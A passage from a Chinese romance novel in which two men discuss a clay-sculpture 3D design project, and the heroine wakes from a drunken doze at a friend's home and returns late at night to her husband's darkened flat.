“我没有跟她吵架。”万俟延沉思默想片刻,面无表情地回他,“而且她根本就不喜欢玩 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就知道不该指望他,万俟延看他一眼,又转开视线:“我们还是说正事吧。” “行。”瞧出他不愿跟自己聊这方面的话题,薄言初也不勉强,“那我们就聊工作。我过来呢,是想了解一下项目的进度,2D转3D并不是一项轻松的工作,所以你一直纠结的问题解决了吗?” 万俟延看了眼架子上的泥人:“我觉得差不多解决了。” “差不多是什么意思?” “意思就是我脑中的3D形象已经初具模型,我打算运用非遗里头的泥塑形象,包括一些变换的服饰配件之类的。” “这可是一项大工程,你确定要这么做?”薄言初不太赞同,“而且你说用泥塑,那由谁来负责呢?谁来主导这项工作?” 万俟延指了指身后的侠女,语气平静道:“卿清也。” 卿清也感觉自己的酒量已然到达极限,脑袋昏昏沉沉的,身子却越来越轻,轻飘飘的,好似浮在空中。 上一次获得这种轻盈感,还是跟万俟延闹掰的时候。 她买了几听酒,带回家,偷偷躲在房间里喝,一下子就给自己喝出了忘我的境界。以为隐藏得很好,最后却还是被徐蕙兰给发现了,只不过她什么都没说。 从那时候开始,卿清也就知道自己的酒量并不怎么样。 今天她倒是没喝几瓶,只不过心里想着事,抓着酒杯就意识迷瞪地睡了过去。 梦里还在那家餐厅,她跟万俟延提议要叫上自己的朋友,人多热闹。万俟延不知道怎么想的,忽然把她拽起来,不让她继续吃了,还质问她:“你到底要多少人陪你吃饭?有我还不够吗?” 这根本不是一回事儿! 叫上朋友吃饭、和跟你吃饭有什么冲突吗?不都是吃饭? 卿清也觉得万俟延是在发散思维,在无理取闹。万俟延却是拒不妥协,只是冷冷地看着她,用一种近乎于侵略性的眼神看她。 卿清也一下子就被吓醒了。 客厅里安安静静的,无声无息,对面坐着的郁芣苢也因为不胜酒力睡着了。卿清也抓起一旁的手机看了眼,竟然已经十点半。 顿时心下一跳。 生气归生气,但夜不归宿就真成了她的问题了,到时候面对万俟延,她就是跳进黄河也解释不清。 略微思索一番后,卿清也还是决定要回家一趟。 刚起身,郁芣苢就抬起了脑袋,问她要干嘛去。 卿清也说太晚了,她得回家了。 郁芣苢赶忙阻止她,称大晚上的打车不安全,卿清也却说:“那我也得走,我妈说过,夫妻没有隔夜仇,再生气也不能熬过夜。我再不回去,怕是老公都得飞了。” 听到这种说法,郁芣苢笑道:“那你妈有没有说过,朋友6年不联系这事该怎么解决啊?” 说完,卿清也愣了愣,好似转移话题,又好似在认真地回答她的问题:“不是我妈说的,我以前的外教曾经说过,makenewfriendsbutkeeptheold.” 突然拽起了英文,郁芣苢忍不住朝她翻了个大白眼,卿清也倒也没在意。 思前想后,卿清也还是觉得在回御水湾之前,她得先回趟悦璟,拿些东西。 她打了一辆车,回家折腾一番后,再回御水湾,已经到了十二点半。 对着密码锁一顿输入后,卿清也拉过行李箱,轻手轻脚地走了进去,整个屋子都黑乎乎的。卿清也没打算开灯,将行李箱放好,再弯腰换鞋,一抬头,却看到客厅巨大的落地窗前站着一个人。